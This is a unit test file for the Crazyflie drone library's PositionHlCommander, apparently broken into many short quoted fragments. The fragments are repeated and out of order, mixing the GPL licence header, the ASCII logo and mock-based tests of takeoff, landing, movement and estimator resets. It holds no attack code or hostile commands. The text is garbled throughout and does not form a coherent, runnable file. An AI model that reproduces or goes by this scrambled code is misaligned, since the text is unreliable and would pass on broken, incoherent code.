call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off(", "sleep_mock): # Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) # Assert duration", "duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture # Test", "0xBC | / __ / / __/ ___/ ___/ __", "/ 2.0 final_pos = ( inital_pos[0], inital_pos[1] - 1, inital_pos[2])", "# Assert duration = 1.0 / 2.0 final_pos = (", "final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock):", "dx + dy * dy + dz * dz) if", "MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param = self.param_mock", "Fixture # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ])", "program is free software; you can redistribute it and/or #", "def test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off(height=0.4, velocity=0.6)", "- p2[2] return math.sqrt(dx * dx + dy * dy", "4.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1] + 2.0,", "Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'),", "self.sut.get_position() # Test self.sut.back(1.0, 2.0) # Assert duration = 1.0", "___/ ___/ __ `/_ / / _ \\ # +------+", "duration = 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager(", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.go_to(1.0,", "self.cf_mock.is_connected.return_value = True self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock):", "# # This program is free software; you can redistribute", "False # Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying(", "/ 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ######################################################################", "self.sut.take_off(height=0.4, velocity=0.6) # Test actual = self.sut.get_position() # Assert self.assertEqual(actual,", "self.sut.take_off(height=0.4, velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4,", "# Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self,", "A PARTICULAR PURPOSE. See the # GNU General Public License", "__ `/_ / / _ \\ # +------+ / /_/", "final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock): # Fixture", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off( self, sleep_mock): #", "+ 2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0,", "= self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance / 7.0", "test_that_it_goes_right( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "/ 2.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1], inital_pos[2])", "Crazyflie from cflib.crazyflie import HighLevelCommander from cflib.crazyflie import Param from", "even the implied warranty of # MERCHANTABILITY or FITNESS FOR", "p2): dx = p1[0] - p2[0] dy = p1[1] -", "final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock):", "or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU", "the implied warranty of # MERCHANTABILITY or FITNESS FOR A", "final_pos = ( inital_pos[0], inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0],", "option) any later version. # # This program is distributed", "test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off() # Assert", "Fixture self.cf_mock.is_connected.return_value = False # Test # Assert with self.assertRaises(Exception):", "self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock):", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.down(1.0, 2.0) #", "self.sut: pass # Assert duration1 = 0.5 / 0.5 duration2", "2.0) # Assert duration = 1.0 / 2.0 final_pos =", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test", "Test self.sut.right(1.0, 2.0) # Assert duration = 1.0 / 2.0", "the GNU General Public License # as published by the", "final_pos = ( inital_pos[0], inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0],", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.down(1.0, 2.0) # Assert", "<gh_stars>0 # -*- coding: utf-8 -*- # # || ____", "duration1 = 0.5 / 0.5 duration2 = 0.5 / 0.5", "self.sut.take_off() # Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off(", "patch, call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander)", "2.0, 3.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0))", "5.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0,", "0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def", "self.sut.go_to(1.0, 2.0, 3.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0,", "= self.param_mock self.cf_mock.is_connected.return_value = True self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off(", "# Test self.sut.right(1.0, 2.0) # Assert duration = 1.0 /", "inital_pos = self.sut.get_position() # Test self.sut.back(1.0, 2.0) # Assert duration", "duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0,", "1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down(", "= 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self,", "def _distance(self, p1, p2): dx = p1[0] - p2[0] dy", "Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor,", "( inital_pos[0] + 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "def test_that_it_goes_right( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "import sys import unittest from cflib.crazyflie import Crazyflie from cflib.crazyflie", "Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ]) def test_that_take_off_raises_exception_if_not_connected(", "test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value = False # Test", "duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing(", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock): # Fixture self.sut.take_off()", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.left(1.0, 2.0) #", "Test with self.sut: pass # Assert duration1 = 0.5 /", "1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] +", "3): from mock import MagicMock, patch, call else: from unittest.mock", "= 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self,", "self.sut.get_position() # Test self.sut.go_to(1.0, 2.0, 3.0, 4.0) # Assert distance", "inital_pos[0] - 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0,", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self,", "1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock):", "= p1[0] - p2[0] dy = p1[1] - p2[1] dz", "# Fixture self.sut.take_off() # Test # Assert with self.assertRaises(Exception): self.sut.take_off()", "= self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value = True self.sut =", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0,", "= MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param =", "math import sys import unittest from cflib.crazyflie import Crazyflie from", "Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def", "Fixture # Test with self.sut: pass # Assert duration1 =", "3.0)) duration = distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0,", "1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration)", "Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture", "1.0, 2.0, 3.0) # Test sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX',", "___/ __ `/_ / / _ \\ # +------+ /", "Fifth Floor, Boston, # MA 02110-1301, USA. import math import", "# Fixture sut = PositionHlCommander(self.cf_mock, 1.0, 2.0, 3.0) # Test", "# Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self,", "Street, Fifth Floor, Boston, # MA 02110-1301, USA. import math", "inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0, 2.0) #", "inital_pos[1], inital_pos[2] - 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration)", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.back(1.0, 2.0)", "call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self, sleep_mock): #", "/ /_/ __/ # || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ #", "MagicMock(spec=HighLevelCommander) self.param_mock = MagicMock(spec=Param) self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock", "'2') ]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value =", "___ # | 0xBC | / __ / / __/", "Test self.sut.take_off(height=0.4, velocity=0.6) # Assert duration = 0.4 / 0.6", "USA. import math import sys import unittest from cflib.crazyflie import", "( inital_pos[0], inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2],", "# Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test actual = self.sut.get_position() #", "PARTICULAR PURPOSE. See the # GNU General Public License for", "sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock,", "# as published by the Free Software Foundation; either version", "def test_that_it_goes_forward( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position()", "# Test self.sut.up(1.0, 2.0) # Assert duration = 1.0 /", "]) def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value = False", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.right(1.0, 2.0)", "4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance(", "sleep_mock): # Fixture self.sut.take_off() # Test # Assert with self.assertRaises(Exception):", "+ 1.0, inital_pos[1] + 2.0, inital_pos[2] + 3.0) self.commander_mock.go_to.assert_called_with( final_pos[0],", "distance / 4.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration)", "0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock):", "sleep_mock): # Fixture # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel',", "Software Foundation; either version 2 # of the License, or", "# Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration)", "program; if not, write to the Free Software # Foundation,", "PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert duration = 0.4", "self._distance(inital_pos, (1.0, 2.0, 5.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with(", "# Fixture self.cf_mock.is_connected.return_value = False # Test # Assert with", "self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture sut", "inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right(", "inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def", "test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off(height=0.4, velocity=0.6) #", "__/ # || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # # Copyright", "2 # of the License, or (at your option) any", "= 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up_to_default_height( self,", "2.0 final_pos = ( inital_pos[0], inital_pos[1] + 1.0, inital_pos[2]) self.commander_mock.go_to.assert_called_with(", "final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock): # Fixture", "This program is free software; you can redistribute it and/or", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.back(1.0,", "/ 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def", "= ( inital_pos[0], inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1],", "0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self, sleep_mock): # Fixture self.sut.take_off()", "utf-8 -*- # # || ____ _ __ # +------+", "/ / /_/ __/ # || || /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/", "sut = PositionHlCommander(self.cf_mock, default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert duration", "dy * dy + dz * dz) if __name__ ==", "def test_that_take_off_raises_exception_if_not_connected( self, sleep_mock): # Fixture self.cf_mock.is_connected.return_value = False #", "from cflib.crazyflie import Param from cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info", "sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "# Assert distance = self._distance(inital_pos, (1.0, 2.0, 5.0)) duration =", "sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off( self,", "any later version. # # This program is distributed in", "`/_ / / _ \\ # +------+ / /_/ /", "# Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0)) duration =", "modify it under the terms of the GNU General Public", "sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test actual = self.sut.get_position()", "|| /_____/_/\\__/\\___/_/ \\__,_/ /___/\\___/ # # Copyright (C) 2018 Bitcraze", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7.0) self.sut.set_default_height(5.0) # Test self.sut.go_to(1.0,", "Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_take_off_raises_exception_when_already_flying( self, sleep_mock): # Fixture", "General Public License # as published by the Free Software", "/ 2.0 final_pos = ( inital_pos[0], inital_pos[1], inital_pos[2] - 1)", "/ 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock): #", "General Public License for more details. # You should have", "# Test self.sut.go_to(1.0, 2.0, 3.0) # Assert distance = self._distance(inital_pos,", "MagicMock, patch, call else: from unittest.mock import MagicMock, patch, call", "received a copy of the GNU General Public License #", "self.assertEqual(actual, (0.0, 0.0, 0.4)) def test_that_it_goes_to_position( self, sleep_mock): # Fixture", "sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('kalman.initialX', '{:.2f}'.format(1.0)), call('kalman.initialY', '{:.2f}'.format(2.0)), call('kalman.initialZ', '{:.2f}'.format(3.0)),", "Test # Assert with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock):", "02110-1301, USA. import math import sys import unittest from cflib.crazyflie", "self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value = True self.sut", "sleep_mock.assert_called_with(duration) def test_that_it_takes_off_and_lands_as_context_manager( self, sleep_mock): # Fixture # Test with", "to the Free Software # Foundation, Inc., 51 Franklin Street,", "# Assert distance = self._distance((0.0, 0.0, 0.0), (1.0, 2.0, 3.0))", "dz = p1[2] - p2[2] return math.sqrt(dx * dx +", "See the # GNU General Public License for more details.", "= self._distance(inital_pos, (1.0, 2.0, 5.0)) duration = distance / 7.0", "2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1, p2):", "coding: utf-8 -*- # # || ____ _ __ #", "2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_moves_distance( self, sleep_mock): #", "self, sleep_mock): # Fixture self.sut.take_off(height=0.4, velocity=0.6) # Test actual =", "inital_pos[0] + 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0,", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down_on_landing( self, sleep_mock): # Fixture self.sut.take_off(height=0.4) #", "= self._distance(inital_pos, (1.0, 2.0, 3.0)) duration = distance / 4.0", "Fixture self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2')", "# Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1') ]) def test_that_controller_is_selected_on_take_off( self, sleep_mock):", "duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_left( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "it and/or # modify it under the terms of the", "that it will be useful, # but WITHOUT ANY WARRANTY;", "velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.takeoff.assert_called_with(0.4, duration)", "sleep_mock.assert_called_with(duration) def test_that_it_goes_forward( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "call @patch('time.sleep') class TestPositionHlCommander(unittest.TestCase): def setUp(self): self.commander_mock = MagicMock(spec=HighLevelCommander) self.param_mock", "AB # # This program is free software; you can", "with self.assertRaises(Exception): self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture #", "final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock): #", "# Fixture # Test self.sut.take_off(height=0.4, velocity=0.6) # Assert duration =", "test_that_it_goes_up( self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() #", "____ _ __ # +------+ / __ )(_) /_______________ _____", "Fixture # Test self.sut.take_off(height=0.4, velocity=0.6) # Assert duration = 0.4", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.down(1.0,", "self.sut.set_controller(PositionHlCommander.CONTROLLER_MELLINGER) # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('stabilizer.controller', '2') ])", "self, sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test", "self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.go_to(1.0, 2.0, 3.0, 4.0)", "import MagicMock, patch, call else: from unittest.mock import MagicMock, patch,", "be useful, # but WITHOUT ANY WARRANTY; without even the", "import HighLevelCommander from cflib.crazyflie import Param from cflib.positioning.position_hl_commander import PositionHlCommander", "0.0), (1.0, 2.0, 3.0)) duration = distance / 4.0 final_pos", "Free Software Foundation; either version 2 # of the License,", "and/or # modify it under the terms of the GNU", "= False # Test # Assert with self.assertRaises(Exception): self.sut.take_off() def", "( inital_pos[0] + 1.0, inital_pos[1] + 2.0, inital_pos[2] + 3.0)", "2.0, 3.0, 4.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0,", "/__/ / / /_/ / / /_/ __/ # ||", "/ __/ ___/ ___/ __ `/_ / / _ \\", "# Fixture self.sut.take_off() inital_pos = self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0,", "2.0 final_pos = ( inital_pos[0], inital_pos[1] - 1, inital_pos[2]) self.commander_mock.go_to.assert_called_with(", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.forward(1.0,", "= MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value =", "= p1[2] - p2[2] return math.sqrt(dx * dx + dy", "Test self.sut.go_to(1.0, 2.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0,", "duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock): # Fixture self.sut.take_off() inital_pos", "0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self, sleep_mock): # Fixture self.sut.take_off()", "self.sut.forward(1.0, 2.0) # Assert duration = 1.0 / 2.0 final_pos", "1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_default_velocity_is_used(", "self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used( self,", "either version 2 # of the License, or (at your", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_up( self,", "call('kalman.initialZ', '{:.2f}'.format(3.0)), call('kalman.resetEstimation', '1'), call('kalman.resetEstimation', '0') ]) def test_that_the_hi_level_commander_is_activated_on_take_off( self,", "self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self,", "final_pos[2], 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_back( self, sleep_mock): # Fixture", "Test self.sut.land(velocity=0.6) # Assert duration = 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0,", "# +------+ / /_/ / / /_/ /__/ / /", "p2[2] return math.sqrt(dx * dx + dy * dy +", "# Test self.sut.go_to(1.0, 2.0, 3.0, 4.0) # Assert distance =", "inital_pos = self.sut.get_position() # Test self.sut.left(1.0, 2.0) # Assert duration", "= True self.sut = PositionHlCommander(self.cf_mock) def test_that_the_estimator_is_reset_on_take_off( self, sleep_mock): #", "Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.right(1.0, 2.0) #", "self, sleep_mock): # Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) # Assert", "software; you can redistribute it and/or # modify it under", "= self.sut.get_position() self.sut.set_default_velocity(7) # Test self.sut.go_to(1.0, 2.0, 3.0) # Assert", "3.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 3.0)) duration", "HighLevelCommander from cflib.crazyflie import Param from cflib.positioning.position_hl_commander import PositionHlCommander if", "Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA", "inital_pos[0], inital_pos[1], inital_pos[2] + 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0,", "sleep_mock.assert_called_with(duration) def test_that_it_goes_right( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "# # This program is distributed in the hope that", "1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1] + 1.0,", "/_/ / / /_/ /__/ / / /_/ / /", "duration1) self.commander_mock.land.assert_called_with(0.0, duration2) sleep_mock.assert_called_with(duration1) sleep_mock.assert_called_with(duration2) def test_that_it_returns_current_position( self, sleep_mock): #", "final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock):", "- 1) self.commander_mock.go_to.assert_called_with( final_pos[0], final_pos[1], final_pos[2], 0, duration) sleep_mock.assert_called_with(duration) def", "distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration)", "2.0 final_pos = ( inital_pos[0] + 1.0, inital_pos[1], inital_pos[2]) self.commander_mock.go_to.assert_called_with(", "7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0, duration) sleep_mock.assert_called_with(duration) def test_that_default_height_is_used(", "cflib.positioning.position_hl_commander import PositionHlCommander if sys.version_info < (3, 3): from mock", "0.5 / 0.5 duration2 = 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1)", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.right(1.0,", "inital_pos = self.sut.get_position() # Test self.sut.down(1.0, 2.0) # Assert duration", "duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 3.0, 0.0,", "License for more details. # You should have received a", "self.sut.take_off() def test_that_it_goes_up_on_take_off( self, sleep_mock): # Fixture # Test self.sut.take_off(height=0.4,", "Fixture self.sut.take_off(height=0.4) # Test self.sut.land(velocity=0.6) # Assert duration = 0.4", "PositionHlCommander if sys.version_info < (3, 3): from mock import MagicMock,", "self.sut.go_to(1.0, 2.0, 3.0, 4.0) # Assert distance = self._distance(inital_pos, (1.0,", "sleep_mock.assert_called_with(duration) def test_that_it_goes_down( self, sleep_mock): # Fixture self.sut.take_off() inital_pos =", "or (at your option) any later version. # # This", "(1.0, 2.0, 5.0)) duration = distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0,", "patch, call else: from unittest.mock import MagicMock, patch, call @patch('time.sleep')", "sleep_mock): # Fixture self.sut.take_off() inital_pos = self.sut.get_position() # Test self.sut.left(1.0,", "Test self.sut.go_to(1.0, 2.0, 3.0, 4.0) # Assert distance = self._distance(inital_pos,", "default_height=0.4) # Test sut.take_off(velocity=0.6) # Assert duration = 0.4 /", "# but WITHOUT ANY WARRANTY; without even the implied warranty", "self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value = True self.sut = PositionHlCommander(self.cf_mock) def", "duration = 1.0 / 2.0 final_pos = ( inital_pos[0] +", "self.cf_mock = MagicMock(spec=Crazyflie) self.cf_mock.high_level_commander = self.commander_mock self.cf_mock.param = self.param_mock self.cf_mock.is_connected.return_value", "# Fixture # Test self.sut.take_off() # Assert self.param_mock.set_value.assert_has_calls([ call('commander.enHighLevel', '1')", "test_that_it_goes_up_to_default_height( self, sleep_mock): # Fixture sut = PositionHlCommander(self.cf_mock, default_height=0.4) #", "0.5 duration2 = 0.5 / 0.5 self.commander_mock.takeoff.assert_called_with(0.5, duration1) self.commander_mock.land.assert_called_with(0.0, duration2)", "= 1.0 / 2.0 final_pos = ( inital_pos[0], inital_pos[1] +", "math.sqrt(dx * dx + dy * dy + dz *", "5.0, 0.0, duration) sleep_mock.assert_called_with(duration) ###################################################################### def _distance(self, p1, p2): dx", "This program is distributed in the hope that it will", "implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR", "2.0) # Assert distance = self._distance(inital_pos, (1.0, 2.0, 5.0)) duration", "import PositionHlCommander if sys.version_info < (3, 3): from mock import", "distance / 7.0 self.commander_mock.go_to.assert_called_with( 1.0, 2.0, 5.0, 0.0, duration) sleep_mock.assert_called_with(duration)", "/ _ \\ # +------+ / /_/ / / /_/", "inital_pos = self.sut.get_position() # Test self.sut.forward(1.0, 2.0) # Assert duration", "# Assert duration = 0.4 / 0.6 self.commander_mock.land.assert_called_with(0.0, duration) sleep_mock.assert_called_with(duration)", "# Test self.sut.take_off(height=0.4, velocity=0.6) # Assert duration = 0.4 /", "_____ ___ # | 0xBC | / __ / /", "Fixture 